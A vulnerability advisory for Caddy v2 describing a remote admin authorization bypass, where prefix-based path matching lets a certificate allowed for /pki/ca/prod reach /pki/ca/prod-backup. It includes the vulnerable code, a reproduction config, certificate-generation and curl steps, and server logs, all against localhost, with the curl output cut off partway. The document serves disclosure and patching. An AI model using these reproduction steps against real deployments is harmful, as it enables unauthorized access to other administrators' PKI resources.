Authentication mechanism absence or evasion In github.com/caddyserver/caddy/v2
Description
Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching ## AI Disclosure I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v. ## Summary Caddy's remote admin access control performs path authorization using prefix matching: - admin.go: strings.HasPrefix(r.URL.Path, allowedPath) This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup. This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces. ## Affected Component Remote admin access control for PKI admin endpoints. Relevant code: - admin.go - admin.go - modules/caddypki/adminapi.go - modules/caddypki/adminapi.go ## Root Cause In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this: go for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } } This does not enforce a path-segment boundary. So if the allowed path is: /pki/ca/prod then all of the following are treated as authorized: - /pki/ca/prod-backup - /pki/ca/prod1 - /pki/ca/prodanything For PKI admin endpoints, the CA ID is taken directly from the request path: - modules/caddypki/adminapi.go:164 So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed. ## Security Impact A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix. This breaks least-privilege remote admin policies and results in authenticated authorization bypass. ## Minimal Configuration File: repro.json { "admin": { "listen": "127.0.0.1:2019", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2021", "access_control": [ { "public_keys": ["<CLIENT_CERT_BASE64_DER>"], "permissions": [ { "methods": ["GET"], "paths": ["/pki/ca/prod"] } ] } ] } }, "apps": { "pki": { "certificate_authorities": { "prod": { "name": "prod" }, "prod-backup": { "name": "prod-backup" } } } } } ## Reproduction Steps From Scratch ### 1. Generate a client certificate openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt ### 2. Convert the client certificate to base64 DER CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')" ### 3. Put that value into repro.json Replace: <CLIENT_CERT_BASE64_DER> with the value of CLIENT_CERT_B64. ### 4. Run Caddy go run ./cmd/caddy run --config ./repro.json ### 5. Confirm access to the intended allowed path curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod Expected result: - HTTP/1.1 200 OK ### 6. Request a different CA whose path shares the same prefix curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup Expected secure behavior: - HTTP/1.1 403 Forbidden Actual behavior: - HTTP/1.1 200 OK ## Precise HTTP Requests and Output ### Allowed path curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod Response excerpt: > GET /pki/ca/prod HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json ### Unauthorized sibling path that is incorrectly allowed curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup Response excerpt: > GET /pki/ca/prod-backup HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod. ## Full Log Output sever : root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json 2026/03/19 13:58:13.747 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/19 13:58:13.747 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/19 13:58:13.747 INFO using config from file {"file": "/caddy/repro.json"} 2026/03/19 13:58:13.757 INFO admin admin endpoint started {"address": "127.0.0.1:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//127.0.0.1:2019"]} 2026/03/19 13:58:13.757 WARN pki.ca.prod installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod/root.crt"} 2026/03/19 13:58:13.757 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:13.757 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:14.406 INFO certificate installed properly in linux trusts 2026/03/19 13:58:14.406 WARN pki.ca.prod-backup installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod-backup/root.crt"} 2026/03/19 13:58:14.407 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:14.407 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:15.038 INFO certificate installed properly in linux trusts 2026/03/19 13:58:15.045 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0006a4480"} 2026/03/19 13:58:15.046 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2021"} 2026/03/19 13:58:15.046 INFO admin.identity.obtain acquiring lock {"identifier": "localhost"} 2026/03/19 13:58:15.046 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/19 13:58:15.046 INFO serving initial configuration 2026/03/19 13:58:15.047 INFO admin.identity.obtain lock acquired {"identifier": "localhost"} 2026/03/19 13:58:15.047 INFO admin.identity.obtain obtaining certificate {"identifier": "localhost"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain certificate obtained successfully {"identifier": "localhost", "issuer": "local"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain releasing lock {"identifier": "localhost"} 2026/03/19 13:58:15.050 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/19 13:59:36.896 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod", "remote_ip": "127.0.0.1", "remote_port": "40728", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:24.102 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "60490", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:33.774 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "46918", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} curl : ``` root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
go | 2.11.3 |
Aliases
References